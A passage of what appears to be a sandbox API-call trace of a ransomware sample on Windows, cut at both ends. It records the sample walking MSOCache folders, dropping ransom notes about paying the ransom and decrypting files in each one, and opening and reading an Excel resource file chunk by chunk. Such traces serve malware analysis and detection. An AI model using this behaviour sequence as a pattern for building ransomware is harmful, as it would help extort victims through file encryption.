"c:\\msocache\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4acd78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0068.841] GetFileType (hFile=0x19c) returned 0x1 [0068.841] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.842] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa664bf60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa664bf60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6000402, cFileName=".", cAlternateFileName="")) returned 0x549710 [0068.842] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa664bf60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa664bf60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="..", cAlternateFileName="")) returned 1 [0068.842] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6625e00, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6625e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6625e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.842] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa664bf60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa664bf60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa664bf60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.842] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa664bf60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa664bf60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa664bf60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.842] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6000402, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0068.842] AreFileApisANSI () returned 1 [0068.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0068.842] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\msocache\\all users\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.858] GetFileType (hFile=0x1f4) returned 0x1 [0068.858] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.860] AreFileApisANSI () returned 1 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0068.860] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\msocache\\all users\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.860] GetFileType (hFile=0x1f4) returned 0x1 [0068.860] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543fe0 | out: hHeap=0x510000) returned 1 [0068.862] AreFileApisANSI () returned 1 [0068.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0068.862] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\msocache\\all users\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.862] GetFileType (hFile=0x1f4) returned 0x1 [0068.862] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0068.864] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa66720c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa66720c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549790 [0068.864] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa66720c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa66720c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.864] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa66720c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa66720c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa66720c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.865] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa66720c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa66720c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa66720c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.865] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa66720c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa66720c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa66720c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.865] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0068.865] AreFileApisANSI () returned 1 [0068.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0068.865] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0068.867] GetFileType (hFile=0x1f0) returned 0x1 [0068.867] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.868] AreFileApisANSI () returned 1 [0068.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0068.868] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0068.869] GetFileType (hFile=0x1f0) returned 0x1 [0068.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.870] AreFileApisANSI () returned 1 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0068.870] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0068.871] GetFileType (hFile=0x1f0) returned 0x1 [0068.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0068.872] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6698220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6698220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.872] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6698220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6698220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="..", cAlternateFileName="")) returned 1 [0068.872] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa66720c0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa66720c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa66720c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.872] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6698220, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6698220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6698220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.872] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6698220, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6698220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6698220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.872] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0068.872] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0068.872] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0068.872] AreFileApisANSI () returned 1 [0068.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0068.872] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0068.873] GetFileType (hFile=0x190) returned 0x1 [0068.873] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0068.873] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4abb08 | out: lpNewFilePointer=0x0) returned 1 [0068.873] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4ababc | out: lpNewFilePointer=0x0) returned 1 [0068.874] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0068.874] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.874] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba8c | out: lpNewFilePointer=0x0) returned 1 [0068.874] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.874] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55ee28 [0068.874] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x61d, lpOverlapped=0x0) returned 1 [0068.876] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.876] GetLastError () returned 0x0 [0068.876] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.876] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x615, lpOverlapped=0x0) returned 1 [0068.876] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.876] GetLastError () returned 0x0 [0068.876] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.876] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x60d, lpOverlapped=0x0) returned 1 [0068.877] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.877] GetLastError () returned 0x0 [0068.877] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.877] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x605, lpOverlapped=0x0) returned 1 [0068.877] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.877] GetLastError () returned 0x0 [0068.877] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.877] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5fd, lpOverlapped=0x0) returned 1 [0068.877] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.877] GetLastError () returned 0x0 [0068.878] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.878] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5f5, lpOverlapped=0x0) returned 1 [0068.878] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.878] GetLastError () returned 0x0 [0068.878] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.878] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5ed, lpOverlapped=0x0) returned 1 [0068.878] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.878] GetLastError () returned 0x0 [0068.878] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.878] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5e5, lpOverlapped=0x0) returned 1 [0068.879] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.879] GetLastError () returned 0x0 [0068.879] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.879] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5dd, lpOverlapped=0x0) returned 1 [0068.879] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.879] GetLastError () returned 0x0 [0068.879] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.879] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5d5, lpOverlapped=0x0) returned 1 [0068.879] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.879] GetLastError () returned 0x0 [0068.880] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.880] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5cd, lpOverlapped=0x0) returned 1 [0068.880] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.880] GetLastError () returned 0x0 [0068.880] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.880] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5c5, lpOverlapped=0x0) returned 1 [0068.880] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.880] GetLastError () returned 0x0 [0068.880] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.880] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x5bd, lpOverlapped=0x0) returned 1 [0068.881] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x60, 